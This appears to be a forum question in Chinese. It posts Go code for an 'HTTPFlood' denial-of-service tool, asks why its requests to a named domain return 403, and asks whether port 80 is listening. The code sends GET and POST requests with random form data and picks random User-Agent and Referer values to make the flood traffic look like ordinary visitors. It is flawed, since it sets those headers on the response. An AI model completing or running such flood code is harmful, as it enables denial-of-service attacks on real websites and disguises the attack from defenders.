// 随机生成一个 User-Agent
// 该函数从 "UserAgents.json" 文件中加载 User-Agent 列表,并随机选择一个返回。
func getRandomUserAgent() (string, error) {
// 加载 User-Agent 列表,假设 loadUserAgent 是一个已实现的函数
userAgents, err := loadUserAgent("UserAgents.json")
if err != nil {
// 如果文件加载出错,返回错误,提示缺少或无法读取文件
return "", fmt.Errorf("请确认你程序目录是否有\"UserAgents.json\": %v", err)
}
// 获取 User-Agent 列表的长度
length := len(userAgents)
if length == 0 {
// 如果列表为空,返回错误
return "", fmt.Errorf("UserAgents.json 文件为空")
}
// 生成一个随机索引,范围是 [0, length-1]
randomIndex := r.Intn(length)
// 获取随机的 User-Agent
randomUserAgent := userAgents[randomIndex]
// 返回随机选择的 User-Agent
return randomUserAgent, nil
}
// 随机生成一个 Referer
// 该函数从 "Referers.json" 文件中加载 Referer 列表,并随机选择一个返回。
func getRandomReferer() (string, error) {
// 加载 Referers 列表,假设 loadReferer 是一个已实现的函数
referers, err := loadReferer("Referers.json")
if err != nil {
// 如果文件加载出错,返回错误,提示缺少或无法读取文件
return "", fmt.Errorf("请确认你程序目录是否有\"Referers.json\": %v", err)
}
// 获取 Referer 列表的长度
length := len(referers)
if length == 0 {
// 如果列表为空,返回错误
return "", fmt.Errorf("referers.json 文件为空")
}
// 生成一个随机索引,范围是 [0, length-1]
randomIndex := r.Intn(length)
// 获取随机的 Referer
randomReferer := referers[randomIndex]
// 返回随机选择的 Referer
return randomReferer, nil
}
// 生成指定长度的随机字符串
// 该函数生成一个由字母和数字组成的随机字符串,长度由参数指定。
func getRandomString(length int) string {
// 定义字符集,包括大小写字母和数字
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
// 创建一个随机数生成器,种子使用当前时间的纳秒数
var seededRand = rand.New(rand.NewSource(time.Now().UnixNano()))
// 创建一个字节切片,用于存放随机字符
result := make([]byte, length)
// 循环生成随机字符并赋值
for i := 0; i < length; i++ {
// 从字符集中随机选择一个字符并存入 result 中
result[i] = charset[seededRand.Intn(len(charset))]
}
// 将字节切片转为字符串并返回
return string(result)
}
// 通用的请求头设置函数
// 该函数会为 HTTP 响应添加随机的 User-Agent 和 Referer,并设置 Accept-Encoding。
func setHeaders(resp *http.Response) {
// 获取随机的 User-Agent
randomUserAgent, err := getRandomUserAgent()
if err != nil {
// 如果获取 User-Agent 出错,打印错误日志并返回
log.Println("获取 User-Agent 错误:", err)
return
}
// 将随机选择的 User-Agent 设置到响应头中
resp.Header.Set("User-Agent", randomUserAgent)
// 获取随机的 Referer
randomReferer, err := getRandomReferer()
if err != nil {
// 如果获取 Referer 出错,打印错误日志并返回
log.Println("获取 Referer 错误:", err)
return
}
// 将随机选择的 Referer 设置到响应头中
resp.Header.Set("Referer", randomReferer)
// 设置 Accept-Encoding 头为 br(Brotli 压缩格式)
resp.Header.Set("Accept-Encoding", "br")
}
// HTTPFlood 定义 HTTPFlood 结构体,用于存储的参数
type HTTPFlood struct {
dstIp string // 运行时传递了 "www.baiud.com"
httpPort int // 运行时传递了 80
httpKeyLength int // 运行时传递了 32
httpValueLength int // 运行时传递了 256
resp *http.Response
err error
client *http.Client // HTTP 客户端,用于发送请求
}
// HTTPGetRequest 发送一个 HTTP GET 请求,并且不接收响应数据
func (h *HTTPFlood) HTTPGetRequest() {
// 发起 GET 请求
h.resp, h.err = h.client.Get(h.dstIp)
if h.err != nil {
log.Println("HTTP-GET 发动失败:", h.err)
return
}
// 调用 setHeaders 函数(假定用来设置响应头或打印响应头)
setHeaders(h.resp)
// 确保响应体在函数结束时关闭
defer func(Body io.ReadCloser) {
err := Body.Close()
if err != nil {
log.Println("关闭 HTTP-GET 响应体失败:", err)
}
}(h.resp.Body)
}
// HTTPPostRequest 发送一个 HTTP POST 请求,并且不接收响应数据
func (h *HTTPFlood) HTTPPostRequest() {
// 随机生成一个键值对,模拟表单数据
key := getRandomString(h.httpKeyLength)
value := getRandomString(h.httpValueLength)
data := []byte(key + "=" + value) // 将键值对编码为字节切片
// 发起 POST 请求,内容类型为 "application/x-www-form-urlencoded"
h.resp, h.err = h.client.Post(h.dstIp, "application/x-www-form-urlencoded", bytes.NewBuffer(data))
if h.err != nil {
log.Println("HTTP-POST 发动失败:", h.err)
return
}
// 调用 setHeaders 函数(假定用来设置响应头或打印响应头)
setHeaders(h.resp)
// 确保响应体在函数结束时关闭
defer func(Body io.ReadCloser) {
err := Body.Close()
if err != nil {
log.Println("关闭 HTTP-POST 响应体失败:", err)
}
}(h.resp.Body)
}
请问为什么 HTTPGetRequest 返回的状态码 403
还有:浏览器访问 www.baiud.com:80 也是显示403,是因为 www.baiud.com:80 端口没有监听吗?